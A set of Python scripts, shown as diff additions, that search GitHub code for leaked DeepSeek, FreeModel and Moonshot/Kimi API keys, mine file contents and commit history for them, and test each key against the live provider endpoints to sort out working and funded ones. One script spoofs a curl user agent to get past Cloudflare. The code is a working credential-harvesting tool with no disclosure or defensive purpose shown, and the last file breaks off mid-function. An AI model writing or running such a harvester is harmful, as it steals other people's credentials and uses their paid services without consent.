'"deepseek" "sk-" filename:docker-compose',
|
||||
'"deepseek" "sk-" filename:.env.example',
|
||||
# one-api / new-api style channel configs
|
||||
'"deepseek" "sk-" filename:渠道', '"deepseek" "key" filename:channels',
|
||||
# broader bare key near deepseek
|
||||
'deepseek sk-[a-f0-9]', '"sk-" "deepseek-chat" extension:py',
|
||||
]
|
||||
|
||||
def github_token():
|
||||
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
||||
if tok: return tok
|
||||
try:
|
||||
out = subprocess.run(["gh","auth","token"],capture_output=True,text=True,timeout=10)
|
||||
if out.returncode == 0: return out.stdout.strip()
|
||||
except FileNotFoundError: pass
|
||||
hosts = Path.home()/".config"/"gh"/"hosts.yml"
|
||||
if hosts.exists():
|
||||
for line in hosts.read_text().splitlines():
|
||||
line=line.strip()
|
||||
if line.startswith("oauth_token:"): return line.split(":",1)[1].strip()
|
||||
return None
|
||||
|
||||
def gh_api(url, token, wants_json=True):
|
||||
headers = {"Accept":"application/vnd.github+json","User-Agent":"key-hunter"}
|
||||
if token: headers["Authorization"]=f"Bearer {token}"
|
||||
req = urllib.request.Request(url, headers=headers)
|
||||
for attempt in range(6):
|
||||
try:
|
||||
with gh_opener().open(req, timeout=30) as resp:
|
||||
raw = resp.read()
|
||||
return json.loads(raw) if wants_json else raw
|
||||
except urllib.error.HTTPError as e:
|
||||
if e.code in (403,429):
|
||||
reset = e.headers.get("X-RateLimit-Reset")
|
||||
wait = max(int(reset)-int(time.time()),5) if reset else 30
|
||||
print(f" rate-limited, waiting {wait}s...", file=sys.stderr)
|
||||
time.sleep(wait+1); continue
|
||||
if e.code == 422: return None
|
||||
e.read()
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f" network: {e}", file=sys.stderr); time.sleep(3)
|
||||
return None
|
||||
|
||||
def gh_search(query, token, per_page=100, max_pages=10):
|
||||
for page in range(1, max_pages+1):
|
||||
url = ("https://api.github.com/search/code"
|
||||
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
|
||||
data = gh_api(url, token)
|
||||
if not data: return
|
||||
items = data.get("items",[])
|
||||
if not items: return
|
||||
for it in items: yield it
|
||||
if len(items) < per_page: return
|
||||
time.sleep(2.2 if token else 7)
|
||||
|
||||
def to_raw_url(html_url):
|
||||
return html_url.replace("github.com","raw.githubusercontent.com").replace("/blob/","/")
|
||||
|
||||
def split_html_url(html_url):
|
||||
# https://github.com/owner/repo/blob/sha/path
|
||||
try:
|
||||
m = re.match(r"https://github\.com/([^/]+/[^/]+)/blob/([^/]+)/(.*)", html_url)
|
||||
if m: return m.group(1), m.group(2), m.group(3)
|
||||
except Exception: pass
|
||||
return None,None,None
|
||||
|
||||
def fetch_raw(url):
|
||||
req = urllib.request.Request(url, headers={"User-Agent":"Mozilla/5.0"})
|
||||
try:
|
||||
with gh_opener().open(req, timeout=20) as resp:
|
||||
return resp.read().decode("utf-8","replace")
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
def make_cached_fetch(cc, fetcher=fetch_raw):
|
||||
"""fetch_raw replacement served by ContentCache (immutable blob SHA)."""
|
||||
def cached(url):
|
||||
repo, sha, path = parse_raw_url(url)
|
||||
if repo and sha and path:
|
||||
txt = cc.get(repo, path, sha)
|
||||
if txt is not None:
|
||||
return txt
|
||||
txt = fetcher(url)
|
||||
if txt:
|
||||
cc.put(repo, path, sha, txt)
|
||||
return txt
|
||||
return fetcher(url)
|
||||
return cached
|
||||
|
||||
def list_file_commits(repo, path, token, max_commits=3):
|
||||
"""List commit SHAs touching a file (core API, 1 per page*path). Bounded."""
|
||||
shas = []
|
||||
url = ("https://api.github.com/repos/"+repo+"/commits"
|
||||
f"?path={urllib.parse.quote(path)}&per_page={max_commits}")
|
||||
data = gh_api(url, token)
|
||||
if not data: return shas
|
||||
for c in data:
|
||||
try: shas.append(c["sha"])
|
||||
except Exception: pass
|
||||
return shas
|
||||
|
||||
def fetch_commit_file(repo, sha, path, token):
|
||||
"""Fetch file content at a given commit via raw.githubusercontent."""
|
||||
url = f"https://raw.githubusercontent.com/{repo}/{sha}/{path}"
|
||||
return fetch_raw(url)
|
||||
|
||||
def extract_keys(text, keys, src):
|
||||
n = 0
|
||||
for k in KEY_RE.findall(text or ""):
|
||||
if valid_key(k) and k not in keys:
|
||||
keys[k] = src; n += 1
|
||||
return n
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--verify-only", action="store_true")
|
||||
ap.add_argument("--workers", type=int, default=20)
|
||||
ap.add_argument("--commit-workers", type=int, default=10)
|
||||
ap.add_argument("--max-commits", type=int, default=0,
|
||||
help="per-file commit history depth (0 disables Stage 2c)")
|
||||
ap.add_argument("--limit", type=int, default=0)
|
||||
ap.add_argument("--no-cache", action="store_true",
|
||||
help="ignore verification cache")
|
||||
ap.add_argument("--no-content-cache", action="store_true",
|
||||
help="ignore raw file content cache (always re-crawl)")
|
||||
ap.add_argument("--resume-search", action="store_true",
|
||||
help="load candidate files from candidates.txt checkpoint")
|
||||
args = ap.parse_args()
|
||||
|
||||
keys = {}
|
||||
if GLOBAL_EXTRACTED.exists():
|
||||
for line in GLOBAL_EXTRACTED.read_text().splitlines():
|
||||
if not line.startswith("DeepSeek|"): continue
|
||||
parts = line.split("|",3)
|
||||
if len(parts) >= 3 and valid_key(parts[1]):
|
||||
keys[parts[1]] = parts[2]
|
||||
# also merge v1 extracted
|
||||
v1 = HERE/"results"/"deepseek_deep"/"extracted_keys.txt"
|
||||
if v1.exists():
|
||||
for line in v1.read_text().splitlines():
|
||||
p = line.split("|",1)
|
||||
if p and valid_key(p[0]): keys.setdefault(p[0], p[1] if len(p)>1 else "v1")
|
||||
print(f"loaded {len(keys)} previously-known DeepSeek keys")
|
||||
|
||||
candidates = {}
|
||||
if args.resume_search and CANDIDATES_FILE.exists():
|
||||
for line in CANDIDATES_FILE.read_text().splitlines():
|
||||
if "|" in line:
|
||||
u,r = line.split("|",1); candidates[u]=r
|
||||
print(f"resumed {len(candidates)} candidates from checkpoint")
|
||||
|
||||
if not args.verify_only:
|
||||
token = github_token()
|
||||
print(f"GitHub token: {'yes' if token else 'NO'}\n")
|
||||
|
||||
print("=== Stage 1: code search ===")
|
||||
for i,q in enumerate(SEARCH_QUERIES,1):
|
||||
print(f" [{i:3d}/{len(SEARCH_QUERIES)}] {q}")
|
||||
try:
|
||||
for it in gh_search(q, token):
|
||||
u = it.get("html_url","")
|
||||
if u and u not in candidates:
|
||||
candidates[u] = it.get("repository",{}).get("full_name","?")
|
||||
except Exception as e:
|
||||
print(f" error: {e}", file=sys.stderr)
|
||||
if i % 10 == 0:
|
||||
with open(CANDIDATES_FILE,"w") as f:
|
||||
for u,r in candidates.items(): f.write(f"{u}|{r}\n")
|
||||
with open(CANDIDATES_FILE,"w") as f:
|
||||
for u,r in candidates.items(): f.write(f"{u}|{r}\n")
|
||||
print(f" candidate files: {len(candidates)}")
|
||||
|
||||
print("\n=== Stage 2a: fetch HEAD raw & extract ===")
|
||||
fetched=new=0
|
||||
with ContentCache(force=getattr(args,"no_content_cache",False)) as cc:
|
||||
cfetch = make_cached_fetch(cc)
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futs = {pool.submit(cfetch, to_raw_url(u)): u for u in candidates}
|
||||
for fut in as_completed(futs):
|
||||
u=futs[fut]; fetched+=1
|
||||
try: content=fut.result()
|
||||
except Exception: content=""
|
||||
new += extract_keys(content, keys, u)
|
||||
if fetched % 200 == 0:
|
||||
print(f" {fetched}/{len(candidates)} keys={len(keys)} new={new} "
|
||||
f"cache={cc.hits}hit/{cc.misses}fetch")
|
||||
with open(EXTRACTED_FILE,"w") as f:
|
||||
for k,s in sorted(keys.items()): f.write(f"{k}|{s}\n")
|
||||
st=cc.stats()
|
||||
print(f" content cache: {st['hits']} hits, {st['misses']} fetched "
|
||||
f"({st['bytes_served']} bytes from cache)")
|
||||
print(f" after HEAD: {len(keys)} keys ({new} new)")
|
||||
|
||||
if args.max_commits > 0 and token:
|
||||
print(f"\n=== Stage 2c: per-file commit history (depth {args.max_commits}) ===")
|
||||
repo_paths = {}
|
||||
for u in candidates:
|
||||
repo,sha,path = split_html_url(u)
|
||||
if repo and path: repo_paths.setdefault(repo,set()).add(path)
|
||||
tasks = []
|
||||
for repo, paths in repo_paths.items():
|
||||
for path in paths: tasks.append((repo,path))
|
||||
print(f" {len(tasks)} (repo,path) pairs across {len(repo_paths)} repos")
|
||||
done=0
|
||||
with ContentCache(force=getattr(args,"no_content_cache",False)) as cc:
|
||||
cfetch = make_cached_fetch(cc)
|
||||
def job(rp):
|
||||
repo,path = rp
|
||||
shas = list_file_commits(repo,path,token,args.max_commits)
|
||||
found=[]
|
||||
for sha in shas:
|
||||
txt = cfetch(f"https://raw.githubusercontent.com/{repo}/{sha}/{path}")
|
||||
for k in KEY_RE.findall(txt or ""):
|
||||
if valid_key(k): found.append((k,f"https://github.com/{repo}/blob/{sha}/{path}"))
|
||||
return found
|
||||
with ThreadPoolExecutor(max_workers=args.commit_workers) as pool:
|
||||
futs={pool.submit(job,t):t for t in tasks}
|
||||
for fut in as_completed(futs):
|
||||
done+=1
|
||||
try:
|
||||
for k,src in fut.result():
|
||||
if k not in keys: keys[k]=src; new+=1
|
||||
except Exception: pass
|
||||
if done % 100 == 0:
|
||||
print(f" {done}/{len(tasks)} keys={len(keys)} new={new} "
|
||||
f"cache={cc.hits}hit/{cc.misses}fetch")
|
||||
with open(EXTRACTED_FILE,"w") as f:
|
||||
for k,s in sorted(keys.items()): f.write(f"{k}|{s}\n")
|
||||
st=cc.stats()
|
||||
print(f" commit content cache: {st['hits']} hits, {st['misses']} fetched")
|
||||
print(f" after commits: {len(keys)} keys")
|
||||
|
||||
with open(EXTRACTED_FILE,"w") as f:
|
||||
for k,s in sorted(keys.items()): f.write(f"{k}|{s}\n")
|
||||
|
||||
if args.limit>0:
|
||||
keys=dict(list(keys.items())[:args.limit])
|
||||
print(f" (limited to {args.limit})")
|
||||
|
||||
print(f"\n=== Stage 3: verify {len(keys)} keys (workers={args.workers}) ===")
|
||||
buckets={"USABLE":[],"NO_BALANCE":[],"NO_ACCESS":[],"UNKNOWN":[],"DEAD":[]}
|
||||
processed=0; start=time.time()
|
||||
with CachedVerifier("deepseek", verify_key, force=args.no_cache) as ver:
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs={pool.submit(ver,k):(k,s) for k,s in keys.items()}
|
||||
for fut in as_completed(futs):
|
||||
k,s=futs[fut]; processed+=1
|
||||
try: v,d=fut.result()
|
||||
except Exception as e: v,d="UNKNOWN",f"exc: {e}"
|
||||
buckets[v].append((k,s,d))
|
||||
if processed%100==0:
|
||||
el=time.time()-start
|
||||
print(f" [{processed:5d}/{len(keys)}] use={len(buckets['USABLE'])} "
|
||||
f"nobal={len(buckets['NO_BALANCE'])} noacc={len(buckets['NO_ACCESS'])} "
|
||||
f"unk={len(buckets['UNKNOWN'])} dead={len(buckets['DEAD'])} ({processed/el:.1f}/s)")
|
||||
print(f" cache: {ver.stats()['hits']} hits, {ver.stats()['live']} live queries")
|
||||
el=time.time()-start; print(f"\nDone in {el:.1f}s")
|
||||
for name in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN","DEAD"):
|
||||
p=RESULTS_DIR/f"{name.lower()}.txt"
|
||||
with open(p,"w") as f:
|
||||
for k,s,d in sorted(buckets[name]): f.write(f"{k}|{s}|{d}\n")
|
||||
print(f" {name:11s}: {len(buckets[name]):5d} -> {p.name}")
|
||||
with open(RESULTS_DIR/"all_non_401.txt","w") as f:
|
||||
for name in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN"):
|
||||
for k,s,d in sorted(buckets[name]): f.write(f"{name}|{k}|{s}|{d}\n")
|
||||
if buckets["USABLE"]:
|
||||
print("\n=== USABLE KEYS ===")
|
||||
for k,s,d in sorted(buckets["USABLE"]):
|
||||
print(f" {k}\n src: {s}\n {d}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,419 @@
|
||||
#!/usr/bin/env python3
|
||||
"""FreeModel deep hunter.
|
||||
|
||||
Pipeline:
|
||||
1. Search GitHub code for FreeModel key leaks (fe_oa_ prefix)
|
||||
2. Fetch raw file content and extract keys
|
||||
3. Deep-verify each key against BOTH FreeModel endpoints:
|
||||
- https://cc.freemodel.dev/v1/messages (Anthropic-style)
|
||||
- https://api.freemodel.dev/v1/chat/completions (OpenAI-style)
|
||||
4. Classification rule (LO said: anything that is NOT 401 is kept):
|
||||
- 200 valid response → USABLE
|
||||
- 402 / 429 → NO_BALANCE (key valid, quota/rate)
|
||||
- 400 / 403 / 404 / other → NO_ACCESS (key valid, model/endpoint issue)
|
||||
- network / timeout → UNKNOWN
|
||||
- 401 → DEAD (discard only this)
|
||||
|
||||
Outputs (results/freemodel/):
|
||||
extracted_keys.txt — all unique keys with source URLs
|
||||
usable.txt — 200 OK
|
||||
no_balance.txt — 402/429
|
||||
no_access.txt — other non-401 HTTP codes
|
||||
unknown.txt — network errors
|
||||
dead.txt — 401 only
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
import sys as _sys
|
||||
_sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
from verify_cache import CachedVerifier
|
||||
from content_cache import ContentCache, parse_raw_url
|
||||
|
||||
# ── Paths ───────────────────────────────────────────────────────
|
||||
HERE = Path(__file__).parent
|
||||
RESULTS_DIR = HERE / "results" / "freemodel"
|
||||
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
EXTRACTED_FILE = RESULTS_DIR / "extracted_keys.txt"
|
||||
USABLE_FILE = RESULTS_DIR / "usable.txt"
|
||||
NO_BAL_FILE = RESULTS_DIR / "no_balance.txt"
|
||||
NO_ACC_FILE = RESULTS_DIR / "no_access.txt"
|
||||
UNKNOWN_FILE = RESULTS_DIR / "unknown.txt"
|
||||
DEAD_FILE = RESULTS_DIR / "dead.txt"
|
||||
|
||||
# ── Search queries for FreeModel leaks ──────────────────────────
|
||||
SEARCH_QUERIES = [
|
||||
"fe_oa_",
|
||||
"FREEMODEL_API_KEY",
|
||||
"FREEMODEL_KEY",
|
||||
"freemodel.dev",
|
||||
"cc.freemodel.dev",
|
||||
"api.freemodel.dev",
|
||||
"\"fe_oa_\" filename:.env",
|
||||
"\"fe_oa_\" filename:settings.json",
|
||||
"\"fe_oa_\" filename:.claude",
|
||||
"\"fe_oa_\" extension:py",
|
||||
"\"fe_oa_\" extension:js",
|
||||
"\"fe_oa_\" extension:ts",
|
||||
"\"fe_oa_\" extension:yaml",
|
||||
"\"fe_oa_\" extension:yml",
|
||||
"\"fe_oa_\" extension:json",
|
||||
"freemodel.dev extension:py",
|
||||
"freemodel.dev extension:ts",
|
||||
"freemodel.dev extension:js",
|
||||
"FREEMODEL_API_KEY extension:env",
|
||||
"freemodel x-api-key",
|
||||
]
|
||||
|
||||
# ── Regex: FreeModel keys are fe_oa_ + 48+ hex chars ────────────
|
||||
KEY_REGEX = re.compile(r"fe_oa_[0-9a-fA-F]{40,}")
|
||||
|
||||
# ── Deep verify endpoints ───────────────────────────────────────
|
||||
ENDPOINTS = [
|
||||
{
|
||||
"name": "cc-anthropic",
|
||||
"url": "https://cc.freemodel.dev/v1/messages",
|
||||
"headers": lambda k: {
|
||||
"x-api-key": k,
|
||||
"anthropic-version": "2023-06-01",
|
||||
"content-type": "application/json",
|
||||
},
|
||||
"body": json.dumps({
|
||||
"model": "claude-sonnet-4-20250514",
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 1,
|
||||
}).encode(),
|
||||
},
|
||||
{
|
||||
"name": "api-openai",
|
||||
"url": "https://api.freemodel.dev/v1/chat/completions",
|
||||
"headers": lambda k: {
|
||||
"Authorization": f"Bearer {k}",
|
||||
"content-type": "application/json",
|
||||
},
|
||||
"body": json.dumps({
|
||||
"model": "claude-sonnet-4-20250514",
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 1,
|
||||
}).encode(),
|
||||
},
|
||||
]
|
||||
|
||||
|
||||
# ── GitHub token ────────────────────────────────────────────────
|
||||
def github_token():
|
||||
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
||||
if tok:
|
||||
return tok
|
||||
# try gh CLI
|
||||
try:
|
||||
out = subprocess.run(
|
||||
["gh", "auth", "token"], capture_output=True, text=True, timeout=10
|
||||
)
|
||||
if out.returncode == 0:
|
||||
return out.stdout.strip()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
# parse ~/.config/gh/hosts.yml (simple grep, no yaml dep)
|
||||
hosts = Path.home() / ".config" / "gh" / "hosts.yml"
|
||||
if hosts.exists():
|
||||
for line in hosts.read_text().splitlines():
|
||||
line = line.strip()
|
||||
if line.startswith("oauth_token:"):
|
||||
return line.split(":", 1)[1].strip()
|
||||
return None
|
||||
|
||||
|
||||
# ── GitHub code search ──────────────────────────────────────────
|
||||
def gh_api_search(query, token, per_page=100):
|
||||
"""Yield code-search items for a query, paginating up to 1000 results."""
|
||||
headers = {
|
||||
"Accept": "application/vnd.github+json",
|
||||
"User-Agent": "key-hunter",
|
||||
}
|
||||
if token:
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
|
||||
for page in range(1, 11): # 10 pages * 100 = 1000 cap (GitHub limit)
|
||||
url = (
|
||||
"https://api.github.com/search/code"
|
||||
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}"
|
||||
)
|
||||
req = urllib.request.Request(url, headers=headers)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=30) as resp:
|
||||
data = json.loads(resp.read())
|
||||
except urllib.error.HTTPError as e:
|
||||
if e.code in (403, 429):
|
||||
# rate limited — back off
|
||||
reset = e.headers.get("X-RateLimit-Reset")
|
||||
wait = max(int(reset) - int(time.time()), 5) if reset else 30
|
||||
print(f" rate-limited, waiting {wait}s...", file=sys.stderr)
|
||||
time.sleep(wait + 1)
|
||||
continue
|
||||
if e.code == 422:
|
||||
return # query validation failed
|
||||
print(f" HTTP {e.code} for {query!r}: {e.read()[:200]}", file=sys.stderr)
|
||||
return
|
||||
except Exception as e:
|
||||
print(f" network error: {e}", file=sys.stderr)
|
||||
return
|
||||
|
||||
items = data.get("items", [])
|
||||
if not items:
|
||||
return
|
||||
for it in items:
|
||||
yield it
|
||||
|
||||
if len(items) < per_page:
|
||||
return
|
||||
time.sleep(2.5) # be gentle with search API
|
||||
|
||||
|
||||
def to_raw_url(html_url):
|
||||
return html_url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
|
||||
|
||||
|
||||
def fetch_raw(url):
|
||||
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=15) as resp:
|
||||
return resp.read().decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def make_cached_fetch(cc, fetcher=fetch_raw):
|
||||
def cached(url):
|
||||
repo, sha, path = parse_raw_url(url)
|
||||
if repo and sha and path:
|
||||
txt = cc.get(repo, path, sha)
|
||||
if txt is not None:
|
||||
return txt
|
||||
txt = fetcher(url)
|
||||
if txt:
|
||||
cc.put(repo, path, sha, txt)
|
||||
return txt
|
||||
return fetcher(url)
|
||||
return cached
|
||||
|
||||
|
||||
# ── Deep verify ─────────────────────────────────────────────────
|
||||
def http_post(url, headers, body, timeout=45):
|
||||
# Cloudflare blocks the default python UA (error 1010) — pretend to be curl
|
||||
h = {"User-Agent": "curl/8.5.0", "Accept": "*/*", **headers}
|
||||
req = urllib.request.Request(url, data=body, headers=h, method="POST")
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
|
||||
def classify(code, body):
|
||||
"""Return one of USABLE / NO_BALANCE / NO_ACCESS / DEAD / UNKNOWN."""
|
||||
bl = (body or "").lower()
|
||||
if code == 200:
|
||||
if "error" in bl and any(x in bl for x in ("balance", "quota", "arrearage", "insufficient")):
|
||||
return "NO_BALANCE"
|
||||
return "USABLE"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE"
|
||||
if code == 401:
|
||||
return "DEAD"
|
||||
if code == 0:
|
||||
return "UNKNOWN"
|
||||
# 400, 403, 404, 500, 502, 503 — key was accepted but something else
|
||||
return "NO_ACCESS"
|
||||
|
||||
|
||||
def verify_key(key):
|
||||
"""Try both endpoints; return best classification + per-endpoint detail."""
|
||||
endpoint_results = []
|
||||
best = "DEAD"
|
||||
best_code = 0
|
||||
best_msg = ""
|
||||
best_endpoint = ""
|
||||
|
||||
rank = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
|
||||
|
||||
for ep in ENDPOINTS:
|
||||
code, body = http_post(ep["url"], ep["headers"](key), ep["body"])
|
||||
verdict = classify(code, body)
|
||||
endpoint_results.append((ep["name"], code, verdict, body[:200].replace("\n", " ")))
|
||||
if rank[verdict] > rank[best]:
|
||||
best = verdict
|
||||
best_code = code
|
||||
best_msg = body[:200].replace("\n", " ")
|
||||
best_endpoint = ep["name"]
|
||||
|
||||
return best, best_code, best_endpoint, best_msg, endpoint_results
|
||||
|
||||
|
||||
# ── Main ────────────────────────────────────────────────────────
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--verify-only", action="store_true",
|
||||
help="Skip GitHub search; re-verify keys already in extracted_keys.txt")
|
||||
ap.add_argument("--workers", type=int, default=15)
|
||||
ap.add_argument("--no-cache", action="store_true")
|
||||
ap.add_argument("--no-content-cache", action="store_true")
|
||||
args = ap.parse_args()
|
||||
|
||||
keys = {}
|
||||
|
||||
if args.verify_only and EXTRACTED_FILE.exists():
|
||||
with open(EXTRACTED_FILE) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
parts = line.split("|", 1)
|
||||
if parts:
|
||||
keys[parts[0]] = parts[1] if len(parts) > 1 else ""
|
||||
print(f"--verify-only: loaded {len(keys)} keys from {EXTRACTED_FILE}")
|
||||
else:
|
||||
token = github_token()
|
||||
print(f"GitHub token: {'yes' if token else 'NO (unauthenticated = 10 req/min)'}")
|
||||
|
||||
# ── Stage 1: search ───────────────────────────────────────
|
||||
print("\n=== Stage 1: GitHub code search ===")
|
||||
candidates = {}
|
||||
for i, q in enumerate(SEARCH_QUERIES, 1):
|
||||
print(f" [{i}/{len(SEARCH_QUERIES)}] {q}")
|
||||
try:
|
||||
for it in gh_api_search(q, token):
|
||||
u = it.get("html_url", "")
|
||||
if u and u not in candidates:
|
||||
candidates[u] = it.get("repository", {}).get("full_name", "?")
|
||||
except Exception as e:
|
||||
print(f" error: {e}", file=sys.stderr)
|
||||
time.sleep(2 if token else 6)
|
||||
print(f" total candidate files: {len(candidates)}")
|
||||
|
||||
# ── Stage 2: extract keys ─────────────────────────────────
|
||||
print("\n=== Stage 2: extract fe_oa_ keys ===")
|
||||
fetched = 0
|
||||
with ContentCache(force=getattr(args, "no_content_cache", False)) as cc:
|
||||
cfetch = make_cached_fetch(cc)
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futs = {pool.submit(cfetch, to_raw_url(u)): (u, repo) for u, repo in candidates.items()}
|
||||
for fut in as_completed(futs):
|
||||
u, repo = futs[fut]
|
||||
fetched += 1
|
||||
try:
|
||||
content = fut.result()
|
||||
except Exception:
|
||||
content = ""
|
||||
for m in KEY_REGEX.findall(content):
|
||||
if m not in keys:
|
||||
keys[m] = u
|
||||
if fetched % 100 == 0:
|
||||
print(f" fetched {fetched}/{len(candidates)}, keys={len(keys)} "
|
||||
f"cache={cc.hits}hit/{cc.misses}fetch")
|
||||
st = cc.stats()
|
||||
print(f" content cache: {st['hits']} hits, {st['misses']} fetched")
|
||||
print(f" unique keys extracted: {len(keys)}")
|
||||
|
||||
# merge previously-extracted FreeModel keys
|
||||
prev_file = HERE / "results" / "extracted_keys.txt"
|
||||
if prev_file.exists():
|
||||
added = 0
|
||||
with open(prev_file) as f:
|
||||
for line in f:
|
||||
if line.startswith("FreeModel|"):
|
||||
parts = line.strip().split("|")
|
||||
if len(parts) >= 3:
|
||||
k = parts[1]
|
||||
if k not in keys:
|
||||
keys[k] = parts[2] if len(parts) > 2 else ""
|
||||
added += 1
|
||||
print(f" merged {added} keys from previous extracted_keys.txt")
|
||||
|
||||
with open(EXTRACTED_FILE, "w") as f:
|
||||
for k, src in sorted(keys.items()):
|
||||
f.write(f"{k}|{src}\n")
|
||||
print(f" written: {EXTRACTED_FILE}")
|
||||
|
||||
if not keys:
|
||||
print("No keys found, done.")
|
||||
return
|
||||
|
||||
# ── Stage 3: deep verify ──────────────────────────────────
|
||||
print(f"\n=== Stage 3: deep verify {len(keys)} keys (non-401 = keep) ===")
|
||||
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
|
||||
detail_lines = []
|
||||
processed = 0
|
||||
start = time.time()
|
||||
|
||||
with CachedVerifier('freemodel', verify_key, force=getattr(args,'no_cache',False)) as ver:
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs = {pool.submit(ver, k): (k, src) for k, src in keys.items()}
|
||||
for fut in as_completed(futs):
|
||||
k, src = futs[fut]
|
||||
processed += 1
|
||||
try:
|
||||
verdict, code, ep, msg, eps = fut.result()
|
||||
except Exception as e:
|
||||
verdict, code, ep, msg, eps = "UNKNOWN", 0, "", str(e), []
|
||||
buckets[verdict].append((k, src))
|
||||
detail_lines.append(
|
||||
f"{verdict:11s} | {k} | via={ep} code={code} | src={src} | {msg}"
|
||||
)
|
||||
if processed % 10 == 0:
|
||||
el = time.time() - start
|
||||
print(
|
||||
f" [{processed}/{len(keys)}] "
|
||||
f"usable={len(buckets['USABLE'])} "
|
||||
f"nobal={len(buckets['NO_BALANCE'])} "
|
||||
f"noacc={len(buckets['NO_ACCESS'])} "
|
||||
f"unk={len(buckets['UNKNOWN'])} "
|
||||
f"dead={len(buckets['DEAD'])} "
|
||||
f"({processed/el:.1f}/s)"
|
||||
)
|
||||
|
||||
elapsed = time.time() - start
|
||||
print(f"\n done in {elapsed:.1f}s")
|
||||
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
|
||||
print(f" {name:11s}: {len(buckets[name])}")
|
||||
|
||||
# ── Write buckets ─────────────────────────────────────────
|
||||
for name, path in [
|
||||
("USABLE", USABLE_FILE),
|
||||
("NO_BALANCE", NO_BAL_FILE),
|
||||
("NO_ACCESS", NO_ACC_FILE),
|
||||
("UNKNOWN", UNKNOWN_FILE),
|
||||
("DEAD", DEAD_FILE),
|
||||
]:
|
||||
with open(path, "w") as f:
|
||||
for k, src in sorted(buckets[name]):
|
||||
f.write(f"{k}|{src}\n")
|
||||
print(f" written: {path}")
|
||||
|
||||
# Combined live = everything but DEAD (LO's rule)
|
||||
combined = RESULTS_DIR / "all_non_401.txt"
|
||||
with open(combined, "w") as f:
|
||||
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
|
||||
for k, src in sorted(buckets[name]):
|
||||
f.write(f"{name}|{k}|{src}\n")
|
||||
print(f" written: {combined} (all non-401 keys)")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,270 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Kimi (Moonshot AI) deep hunter.
|
||||
|
||||
Loads Moonshot keys from results/extracted_keys.txt and verifies them
|
||||
against api.moonshot.cn using three layers:
|
||||
|
||||
1. GET /v1/users/me/balance — returns balance + cash_balance (CNY)
|
||||
2. POST /v1/chat/completions — model moonshot-v1-8k
|
||||
3. POST /v1/chat/completions — model kimi-k2-0905-preview (K2 long-context)
|
||||
|
||||
Classification rule (anything NOT 401 is kept):
|
||||
- 200 with balance > 0 / chat OK → USABLE
|
||||
- balance 0 / 402 / 429 → NO_BALANCE (key valid)
|
||||
- 400 / 403 / 404 / 5xx → NO_ACCESS (key valid, model issue)
|
||||
- network / timeout → UNKNOWN
|
||||
- 401 → DEAD (discard only this)
|
||||
|
||||
Outputs in results/kimi/.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
OUT = HERE / "results" / "kimi"
|
||||
OUT.mkdir(parents=True, exist_ok=True)
|
||||
SOURCE = HERE / "results" / "extracted_keys.txt"
|
||||
|
||||
UA = "curl/8.5.0"
|
||||
BASE = "https://api.moonshot.cn"
|
||||
|
||||
|
||||
def http(method, path, key, body=None, timeout=20):
|
||||
url = f"{BASE}{path}"
|
||||
headers = {
|
||||
"User-Agent": UA,
|
||||
"Accept": "*/*",
|
||||
"Authorization": f"Bearer {key}",
|
||||
}
|
||||
data = None
|
||||
if body is not None:
